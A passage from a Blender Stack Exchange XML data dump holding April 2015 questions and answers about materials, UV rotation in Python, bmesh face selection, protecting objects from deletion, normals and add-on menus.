&lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;L&lt;/kbd&gt; &gt; &lt;em&gt;Materials&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The simplest way to create such a material would be to use Box mapping.&lt;br&gt;&#xA;Here are the needed nodes and the setting for cycles.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/hb5uf.png&quot; alt=&quot;box mapping in cycles&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here it is for the blender internal.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/b176C.png&quot; alt=&quot;box mapping in the BI&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2217" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:42.870" LastActivityDate="2015-04-24T18:44:42.983" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28922" PostTypeId="2" ParentId="28913" CreationDate="2015-04-24T19:19:53.157" Score="5" Body="&lt;p&gt;It looks like you are using a custom keyboard shortcut preset. The default is called &quot;Blender&quot;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/RJXvI.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you reset to factory settings in &lt;em&gt;File &gt; Load Factory Settings&lt;/em&gt; does it appear? This won't be permanent unless you save your startup .blend, so you can check to see if it's there without deleting your customized setup.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also check to see if the operator is there by pressing &lt;kbd&gt;Space&lt;/kbd&gt; in the &lt;em&gt;3D view&lt;/em&gt; while in edit mode and typing in &quot;loop&quot;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/XJoio.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2015-04-24T19:19:53.157" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28924" PostTypeId="2" ParentId="28908" CreationDate="2015-04-24T22:14:36.820" Score="1" Body="&lt;p&gt;you shouldn't need to rebuild the proxies if you have already made them - so long as they are the right files in the right places, just set the paths, and you should be able to switch to proxy viewing modes.&lt;/p&gt;&#xA;" OwnerUserId="11076" LastActivityDate="2015-04-24T22:14:36.820" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="28925" PostTypeId="1" CreationDate="2015-04-24T23:02:17.273" Score="8" ViewCount="2018" Body="&lt;p&gt;There is render_stats bpy handler&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seem like it is invoked every time rendering engine prints to console smth like&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Fra:0 Mem:410.70M (0.00M, Peak 450.46M) | Remaining:01:16:22.96 | Mem:307.83M, Peak:307.83M | _mainScene, interior | Path Tracing Tile 18/8160&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I am wondering if  there is a way to get numbers like estimate(01:16:22.96) and current tile(18) from render_stats handler in python script?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now the only way I see to get this is parsing blender output which is not very cool&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is something alike it in UI, but there is no tooltip with python snippet for it:&#xA;&lt;img src=&quot;https://i.imgur.com/5qKit3M.png&quot; alt=&quot;screenshot&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This question may seem alike &lt;a href=&quot;https://blender.stackexchange.com/questions/2642/is-it-possible-to-get-render-time-per-tile&quot;&gt;Is it possible to get render time per tile?&lt;/a&gt;, and it's stands there that you can't. But in there it's about render time for specific tile, and I am asking about render time estimation for particular frame, may be you can get overall estimation?&lt;/p&gt;&#xA;" OwnerUserId="13964" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:41.900" LastActivityDate="2020-06-04T02:39:57.497" Title="How to get actual rendering progress and estimation from render_stats python handler?" Tags="&lt;cycles-render-engine&gt;&lt;command-line&gt;" AnswerCount="1" CommentCount="3" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="28926" PostTypeId="1" CreationDate="2015-04-24T23:06:46.783" Score="1" ViewCount="234" Body="&lt;p&gt;I've successfully compiled Blender for linux on a linux system. However, I'd like to build a Windows version as well, using the same machine. I found some old forum posts about using MinGW32 to do this, but nothing very useful.&lt;br&gt;&#xA; Please reply if you've successfully cross-compiled Blender on linux for a windows target, and explain how.&lt;/p&gt;&#xA;" OwnerUserId="11518" LastEditorUserId="2217" LastEditDate="2015-04-26T23:39:33.063" LastActivityDate="2015-04-26T23:39:33.063" Title="Cross-compiling blender on linux platform for windows target" Tags="&lt;windows&gt;&lt;linux&gt;" AnswerCount="0" CommentCount="1" ClosedDate="2015-04-25T01:46:00.880" ContentLicense="CC BY-SA 3.0" />
  <row Id="28927" PostTypeId="1" CreationDate="2015-04-25T05:29:03.383" Score="2" ViewCount="90" Body="&lt;p&gt;Often when I'm doing something in the GLSL shading mode I always need that extra interactivity for viewing what's going on with my scene. With all the materials assigned and lamps in place, from time to time I want to be able to change the lighting as if I'm using a MatCap as its influence. However, this is not quite good because the material properties will be lost, mostly specular effects because for the MatCap to take effect you're required to set the materials to &quot;Shadeless&quot;. Are there any workarounds around this?&lt;/p&gt;&#xA;" OwnerUserId="3398" LastEditorUserId="3398" LastEditDate="2015-04-25T05:51:07.173" LastActivityDate="2015-04-25T05:51:07.173" Title="GLSL interactive lighting" Tags="&lt;nodes&gt;&lt;blender-internal-render-engine&gt;&lt;light&gt;&lt;shaders&gt;" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28928" PostTypeId="2" ParentId="27390" CreationDate="2015-04-25T06:08:42.867" Score="3" Body="&lt;p&gt;The two different colours here are because there's an &lt;em&gt;active object&lt;/em&gt; and &lt;em&gt;selected object&lt;/em&gt;. If you have 1 object selected in your sceen, then that object is also the &lt;em&gt;active object&lt;/em&gt;, if you have two..or three..or tens selected, then the last selected object is known as the &lt;em&gt;active object&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Because @Chebhou already gives the UI version of an answer, here a scripted version which can be just as handy:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the console:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;theme = bpy.context.user_preferences.themes[0]&#xA;theme.view_3d.object_active = (0.8, 0.8, 0.5)&#xA;theme.view_3d.object_selected = (0.8, 0.8, 0.9)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/StW4t.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="47" LastActivityDate="2015-04-25T06:08:42.867" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28929" PostTypeId="1" CreationDate="2015-04-25T08:43:03.007" Score="5" ViewCount="1329" Body="&lt;p&gt;I am trying to figure out how to rotate UVs in mesh while Blender is in Background mode without windows, so some parts are not accessible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Right now I am using &lt;code&gt;bpy.ops.mesh.uvs_rotate()&lt;/code&gt; &gt; this works, but it is just in 90 degrees, so I am not able to set UV rotation in specific degree.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.ops.object.editmode_toggle()&#xA;bpy.ops.uv.smart_project(angle_limit=66, island_margin=0, user_area_weight=0)&#xA;bpy.ops.uv.reset()&#xA;bpy.ops.mesh.uvs_rotate()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;On this &lt;a href=&quot;http://blenderartists.org/forum/showthread.php?267997-Rotate-the-uv-s-of-a-selected-object-instead-of-the-object-itself&quot; rel=&quot;noreferrer&quot;&gt;http://blenderartists.org/forum/showthread.php?267997-Rotate-the-uv-s-of-a-selected-object-instead-of-the-object-itself&lt;/a&gt; there is written, that I should use &lt;code&gt;bpy.ops.transform.rotate(value=math.radians(45))&lt;/code&gt; while being in &lt;code&gt;bpy.context.area.type = 'IMAGE_EDITOR'&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem with this is that when I run blender like &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;blender  --python-console --background&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt;&amp;gt;&amp;gt; import bpy&#xA;&amp;gt;&amp;gt;&amp;gt; bpy.context.area.type&#xA;Traceback (most recent call last):&#xA;  File &quot;&amp;lt;console&amp;gt;&quot;, line 1, in &amp;lt;module&amp;gt;&#xA;AttributeError: 'NoneType' object has no attribute 'type'&#xA;&amp;gt;&amp;gt;&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It seems that object &lt;code&gt;bpy.context.area.type&lt;/code&gt; is not possible to change, because it does not exist. In overall our code, we try to not use this. But it case of UV I am not able to figure out how to do it without this. I know that there is a lot of problems with these context.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So how should I rotate UV without &lt;code&gt;context&lt;/code&gt;. Is it possible? Or is there a different way how to rotate image on separate object by specific degree?&lt;/p&gt;&#xA;" OwnerUserId="13975" LastActivityDate="2021-02-27T19:41:39.587" Title="Rotate UV by specific angle e.g. 30deg in Python script in backgroud mode" Tags="&lt;python&gt;&lt;scripting&gt;&lt;uv&gt;&lt;transforms&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28930" PostTypeId="1" CreationDate="2015-04-25T08:48:10.863" Score="1" ViewCount="681" Body="&lt;p&gt;I am trying to drop a piece of clothing onto various objects, but it won't touch them and remains hanging a couple of inches above. The repel setting is set to 0. Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="13976" LastActivityDate="2015-04-25T08:48:10.863" Title="Cloth simulation - Object won't touch obstacles" Tags="&lt;cloth-simulation&gt;" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="28931" PostTypeId="2" ParentId="28929" CreationDate="2015-04-25T10:14:19.893" Score="4" Body="&lt;p&gt;you can do the math yourself , if nothing is available :&#xA;rotate all the points around the center of the image (0.5, 0.5)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;from math import cos, sin, radians&#xA;&#xA;&#xA;def make_rotation_transformation(angle, origin=(0, 0)):&#xA;    cos_theta, sin_theta = cos(angle), sin(angle)&#xA;    x0, y0 = origin    &#xA;    def xform(point):&#xA;        x, y = point[0] - x0, point[1] - y0&#xA;        return (x * cos_theta - y * sin_theta + x0,&#xA;                x * sin_theta + y * cos_theta + y0)&#xA;    return xform&#xA;&#xA;&#xA;ob = bpy.context.object&#xA;rad = radians(30)&#xA;anchor = (0.5, 0.5)&#xA;&#xA;rot = make_rotation_transformation(rad, anchor)&#xA;&#xA;UVmap = ob.data.uv_layers.active&#xA;for v in ob.data.loops :&#xA;     UVmap.data[v.index].uv = rot(UVmap.data[v.index].uv ) &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;the &lt;code&gt;make_rotation_transformation&lt;/code&gt;  is from &lt;a href=&quot;https://codereview.stackexchange.com/a/47008/53990&quot;&gt;this answer&lt;/a&gt;   by &lt;a href=&quot;https://codereview.stackexchange.com/users/9357/200-success&quot;&gt;@200-success&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5113" LastEditorUserId="-1" LastEditDate="2017-04-13T12:41:07.233" LastActivityDate="2015-04-25T10:14:19.893" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="28932" PostTypeId="1" AcceptedAnswerId="28933" CreationDate="2015-04-25T10:32:04.363" Score="7" ViewCount="1010" Body="&lt;p&gt;Is there a way to &quot;lock&quot; an object so that it can't be deleted without unlocking it? Kind of like the option often present on digital cameras.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If not, any other way of preventing the user from deleting an object?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, this is for an addon, so no problem with script-based answers as a last resort.&lt;/p&gt;&#xA;" OwnerUserId="11312" LastActivityDate="2020-05-05T22:55:45.673" Title="Prevent (accidental) deletion of object" Tags="&lt;python&gt;&lt;objects&gt;&lt;add-on&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28933" PostTypeId="2" ParentId="28932" CreationDate="2015-04-25T10:55:51.023" Score="10" Body="&lt;p&gt;You can override the delete function to achieve this :&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;add &lt;code&gt;protected&lt;/code&gt; boolean property for the object type&lt;/li&gt;&#xA;&lt;li&gt;set this property to true to prevent the object from deletion &lt;/li&gt;&#xA;&lt;li&gt;the new delete function will only delete unprotected objects&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;this is the new delete operator no other changes are needed just include it in your addon and it will override the default delete function :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;from bpy.props import BoolProperty&#xA;&#xA;bpy.types.Object.protected = BoolProperty(name = 'protected', default = False)&#xA;def main(context):&#xA;    for obj in context.selected_objects:&#xA;        if not obj.protected :&#xA;            bpy.context.scene.objects.unlink(obj)&#xA;            bpy.data.objects.remove(obj)&#xA;        else :&#xA;            print(obj.name +' is protected')&#xA;&#xA;&#xA;class delete_override(bpy.types.Operator):&#xA;    &quot;&quot;&quot;delete unprotected objects&quot;&quot;&quot;&#xA;    bl_idname = &quot;object.delete&quot;&#xA;    bl_label = &quot;Object Delete Operator&quot;&#xA;&#xA;    @classmethod&#xA;    def poll(cls, context):&#xA;        return context.active_object is not None&#xA;&#xA;    def execute(self, context):&#xA;        main(context)&#xA;        return {'FINISHED'}&#xA;&#xA;&#xA;def register():&#xA;    bpy.utils.register_class(delete_override)&#xA;&#xA;def unregister():&#xA;    bpy.utils.unregister_class(delete_override)&#xA;&#xA;if __name__ == &quot;__main__&quot;:&#xA;    register()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5113" LastEditorUserId="5113" LastEditDate="2015-04-25T11:03:57.003" LastActivityDate="2015-04-25T11:03:57.003" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="28934" PostTypeId="1" AcceptedAnswerId="28935" CreationDate="2015-04-25T11:34:29.057" Score="7" ViewCount="3709" Body="&lt;p&gt;I am new to blender and python and try to get the hang of it. PS: Everything should be achieved via python script.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to create a low poly model via ico-sphere. That's really easy because I just need to create a ico-sphere. Now I want to randomly select a face and one of his neighbours to merge them via bpy.ops.mesh.edge_face_add() to a new face.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am having the following script:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.ops.object.mode_set(mode = 'EDIT') # into edit mode&#xA;bpy.ops.mesh.select_all(action='DESELECT') # deselect everything&#xA;bpy.context.tool_settings.mesh_select_mode = (True , False , False) # only faces&#xA;mesh=bmesh.from_edit_mesh(me) # get mesh&#xA;mesh.faces.ensure_lookup_table() # update faces&#xA;mesh.faces[0].select = True # select face number 0&#xA;mesh.faces[1].select = True # select face number 1&#xA;bpy.ops.mesh.edge_face_add() # merge them&#xA;bpy.ops.mesh.select_all(action='DESELECT') # deselect everything&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;At first I am using bmesh which is experimental. I would like to use a blender api which isn't experimental. Any ideas?&#xA;I tried it with faces[0] and 1 and it worked, they are neighbours. But I think that's not always. How can I find out which faces are next to faces[0] for example.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for helping!&lt;/p&gt;&#xA;" OwnerUserId="13978" LastActivityDate="2015-04-25T13:33:45.393" Title="Select neighbour faces from a mesh with python" Tags="&lt;python&gt;&lt;bmesh&gt;&lt;faces&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="28935" PostTypeId="2" ParentId="28934" CreationDate="2015-04-25T12:12:44.387" Score="12" Body="&lt;p&gt;does his help? Start with the template in:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;TextEditor &gt; Templates &gt; Python &gt; Bmesh Simple Editmode&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;import bmesh&#xA;&#xA;obj = bpy.context.edit_object&#xA;me = obj.data&#xA;&#xA;bm = bmesh.from_edit_mesh(me)&#xA;&#xA;face = bm.faces[3]&#xA;face.select = True&#xA;print(dir(face.verts[0].link_faces))&#xA;print(face.verts[0].link_faces[:])&#xA;&#xA;# This gives the list of all edges that use that vertex.&#xA;# [&amp;lt;BMFace(0x7f7acb5ddb70), index=52, totverts=4&amp;gt;,    &#xA;#  &amp;lt;BMFace(0x7f7acb5ddbe0), index=54, totverts=4&amp;gt;,&#xA;#  &amp;lt;BMFace(0x7f7acb5ddba8), index=53, totverts=4&amp;gt;,  &#xA;#  &amp;lt;BMFace(0x7f7acb5dd0b8), index=3, totverts=4&amp;gt;]&#xA;&#xA;bmesh.update_edit_mesh(me, True)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;There's also &lt;code&gt;link_edges&lt;/code&gt; which could also prove useful, arguably more so&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;import bmesh&#xA;&#xA;obj = bpy.context.edit_object&#xA;me = obj.data&#xA;&#xA;bm = bmesh.from_edit_mesh(me)&#xA;&#xA;# just assume now there is only one selected face&#xA;selected_face = [f for f in bm.faces if f.select][0]&#xA;&#xA;for edge in selected_face.edges:&#xA;    linked = edge.link_faces&#xA;    for face in linked:&#xA;        face.select = True&#xA;&#xA;bmesh.update_edit_mesh(me, True)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;produces&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/BXemP.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/8LpHF.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And finally, the join command&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;import bmesh&#xA;&#xA;obj = bpy.context.edit_object&#xA;me = obj.data&#xA;&#xA;bm = bmesh.from_edit_mesh(me)&#xA;&#xA;# just assume now there are at least 2 selected, and are touching&#xA;selected_faces = [f for f in bm.faces if f.select]&#xA;&#xA;# the script equivalent of the F key        &#xA;bmesh.ops.contextual_create(bm, geom=selected_faces)&#xA;&#xA;bmesh.update_edit_mesh(me, True)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/rPRHU.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regarding your statement about Bmesh being experimental, I wouldn't worry about that too much, it's being used a lot and has proven to be more than capable. The &lt;a href=&quot;http://www.blender.org/api/blender_python_api_2_74_release/bmesh.ops.html&quot;&gt;Bmesh.ops docs&lt;/a&gt; are an excellent but admittedly terse resource:&lt;/p&gt;&#xA;" OwnerUserId="47" LastEditorUserId="47" LastEditDate="2015-04-25T13:33:45.393" LastActivityDate="2015-04-25T13:33:45.393" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="28936" PostTypeId="1" CreationDate="2015-04-25T12:28:27.857" Score="0" ViewCount="166" Body="&lt;p&gt;I was getting the error&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;AttributeError: '_RestrictContext' object has no attribute...&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;with my addon (in Blender 2.72), then I found that access to bpy.context and bpy.data is restricted in addon code, as explained here&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Extensions:2.6/Py/API_Changes#Restricted_Context&quot; rel=&quot;nofollow&quot;&gt;http://wiki.blender.org/index.php/Extensions:2.6/Py/API_Changes#Restricted_Context&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instead of using bpy.context, I can use the context parameter of execute() and invoke(). But what can I use instead of bpy.data?&lt;/p&gt;&#xA;" OwnerUserId="13979" LastActivityDate="2015-04-25T12:28:27.857" Title="Access bpy.data in Blender addon" Tags="&lt;python&gt;&lt;scripting&gt;&lt;add-on&gt;" AnswerCount="0" CommentCount="4" ClosedDate="2015-04-25T14:04:14.363" ContentLicense="CC BY-SA 3.0" />
  <row Id="28937" PostTypeId="1" AcceptedAnswerId="28938" CreationDate="2015-04-25T13:00:49.480" Score="2" ViewCount="1688" Body="&lt;p&gt;After I joined together a mirrored joined duplicate into one single mesh, the duplicated mesh becomes purple:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/lyQq3.png&quot; alt=&quot;Before and after&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is going on here? Do I need to be worried about this? When joining the roof with the base of the building, this doesn't happen.&lt;/p&gt;&#xA;" OwnerUserId="13980" LastEditorUserId="12" LastEditDate="2015-04-25T16:49:54.303" LastActivityDate="2015-04-25T16:49:54.303" Title="Mesh appears purple after join" Tags="&lt;modeling&gt;&lt;mesh&gt;&lt;mirror&gt;" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="28938" PostTypeId="2" ParentId="28937" CreationDate="2015-04-25T13:25:36.953" Score="4" Body="&lt;p&gt;The difference in face colours is an indicator that the direction of those faces are not uniform.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/jWs7X.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Enter edit mode and look for the side panel submenu called &quot;Mesh Display&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/mkybM.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the normals subheading, select the face icon. Lines (called &lt;em&gt;normals&lt;/em&gt;) will start to emit from each face. I've adjusted the &lt;code&gt;size&lt;/code&gt; slider so those lines aren't ridiculously large or small. The thing to note here is that if you don't see the line emitting from some faces, that those faces are flipped.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To make them uniform press &lt;kbd&gt;cltr&lt;/kbd&gt;+&lt;kbd&gt;F&lt;/kbd&gt; to get the faces menu and &lt;em&gt;Recalc normals&lt;/em&gt;   (Or Directly using Ctrl+N)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This makes the mesh faces point in a uniform way, and the colour difference will go away: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ZxZej.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="47" LastEditorUserId="47" LastEditDate="2015-04-25T16:38:34.697" LastActivityDate="2015-04-25T16:38:34.697" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28939" PostTypeId="1" CreationDate="2015-04-25T14:12:00.263" Score="0" ViewCount="1237" Body="&lt;p&gt;I need to export animation to my game which doesn't support ik.&#xA;So i need to bake ik to fk before export.&lt;br&gt;&#xA;I can bake one animation via bake action (with clear constraint toggle on because there is no visual keyframe option in 2.66)&#xA;, but this will delete the constraints,then i have to recreate these constraints to bake other actions .&lt;br&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be greatly appreciated.&lt;/p&gt;&#xA;" OwnerUserId="8156" LastEditorUserId="5113" LastEditDate="2015-04-25T15:14:38.603" LastActivityDate="2017-10-03T18:27:42.760" Title="How to bake all animation from ik to fk in blender2.66" Tags="&lt;animation&gt;&lt;constraints&gt;&lt;baking&gt;" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="28940" PostTypeId="1" AcceptedAnswerId="28946" CreationDate="2015-04-25T15:25:46.473" Score="5" ViewCount="340" Body="&lt;p&gt;I've created a menu using an Enum Property. &#xA;Now I looking for a way to update the menu every time I call an specific operator: Load_New_List_Operator.   &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy &#xA;&#xA;from bpy.props import (EnumProperty,&#xA;                       PointerProperty,)&#xA;from bpy.types import (Panel,&#xA;                       PropertyGroup,)&#xA;&#xA;&#xA;List = ['1','2','3','4']&#xA;&#xA;class menu_list(PropertyGroup):&#xA;    menu = EnumProperty(&#xA;        name=&quot;menu:&quot;,&#xA;        description=&quot;Choice item menu&quot;,&#xA;        items = (List),     &#xA;        )&#xA;&#xA;def Import_List():&#xA;    New_List = ['A','B','C','D']&#xA;    return New_List&#xA;&#xA;class Load_New_List_Operator(bpy.types.Operator):&#xA;    bl_idname = &quot;object.load_new_list_operator&quot;&#xA;    bl_label = &quot;Load new list items&quot;&#xA;&#xA;    def execute(self, context):&#xA;        Replace_List = Import_List()&#xA;&#xA;        #ERROR&#xA;        menu_list.menu[2] = Replace_List #ERROR tuple does not suport item assignment&#xA;        return {'FINISHED'}&#xA;&#xA;&#xA;def register():&#xA;    bpy.utils.register_class(Load_New_List_Operator)&#xA;    bpy.utils.register_module(__name__)&#xA;    bpy.types.Scene.menu_tool = PointerProperty(type=menu_list)&#xA;&#xA;&#xA;def unregister():&#xA;    bpy.utils.unregister_class(Load_New_List_Operator)&#xA;    bpy.utils.unregister_module(__name__)&#xA;    del bpy.types.Scene.menu_tool&#xA;&#xA;if __name__ == &quot;__main__&quot;:&#xA;    register()&#xA;    bpy.ops.object.load_new_list_operator()&#xA;    print (menu_list.menu)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="6426" LastActivityDate="2015-04-26T09:12:44.523" Title="How can I update a menu via an operator?" Tags="&lt;scripting&gt;&lt;interface&gt;" AnswerCount="1" CommentCount="5" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28942" PostTypeId="1" AcceptedAnswerId="29041" CreationDate="2015-04-25T16:54:18.540" Score="13" ViewCount="1375" Body="&lt;p&gt;I've been following some tutorials, and I've noticed several different ways to apply overall bumpiness to an object.  So, first of all, what is the difference between plugging a procedural texture straight into the displacement in the material output verses plugging the same texture into the normal of a shader?  Next, what is the purpose of using a bump node, when you can just plug the same texture straight into the displacement/normal?  Thank you for your help.&lt;/p&gt;&#xA;" OwnerUserId="12805" LastActivityDate="2015-04-28T12:35:38.490" Title="Methods of applying bumpiness to materials" Tags="&lt;texturing&gt;&lt;materials&gt;&lt;nodes&gt;" AnswerCount="3" CommentCount="2" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28943" PostTypeId="1" AcceptedAnswerId="28944" CreationDate="2015-04-25T17:09:59.083" Score="10" ViewCount="3274" Body="&lt;p&gt;How can I reverse the picture-order (like the rendered video plays from end to beggining) in VSE? is there a quicker way than to render it as individual pictures and renameing them so that the order switches?&lt;/p&gt;&#xA;" OwnerUserId="9588" LastActivityDate="2015-04-25T17:26:22.513" Title="video sequence editor- how to render video with reversed picture order?" Tags="&lt;video-sequence-editor&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="28944" PostTypeId="2" ParentId="28943" CreationDate="2015-04-25T17:20:49.773" Score="16" Body="&lt;p&gt;Select your strip and on the filter tab select &lt;strong&gt;Backwards&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/i1uJi.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastEditorDisplayName="user1853" LastEditDate="2015-04-25T17:26:22.513" LastActivityDate="2015-04-25T17:26:22.513" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28946" PostTypeId="2" ParentId="28940" CreationDate="2015-04-25T18:23:10.210" Score="1" Body="&lt;p&gt;Hopefully this is concise and shows how to work with the callback and the custom PropertyGroup. A subtle detail is that each property in the group must have a name (never undefined or None). See &lt;a href=&quot;http://www.blender.org/api/blender_python_api_2_74_release/bpy.types.PropertyGroup.html?highlight=propertygroup#bpy.types.PropertyGroup&quot; rel=&quot;nofollow&quot;&gt;PropertyGroup docs&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Where the information that populates the menu is taken from, be it a list, or some function call is none of bpy's business.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import random&#xA;import bpy &#xA;&#xA;from bpy.props import (EnumProperty, PointerProperty)&#xA;from bpy.types import (Operator, Panel, PropertyGroup)&#xA;&#xA;own_name_space = {}&#xA;own_name_space['list 0'] = ['m']&#xA;own_name_space['list 1'] = ['a', 'b', 'c']&#xA;own_name_space['list 2'] = ['d', 'e', 'f']&#xA;own_name_space['list 3'] = ['g', 'h', 'i']&#xA;&#xA;&#xA;def get_menu_items(self, context):&#xA;    items = [(t, t, &quot;&quot;) for t in own_name_space[self.menu_key]]&#xA;    return items&#xA;&#xA;&#xA;class CustomMenuProps(PropertyGroup):&#xA;&#xA;    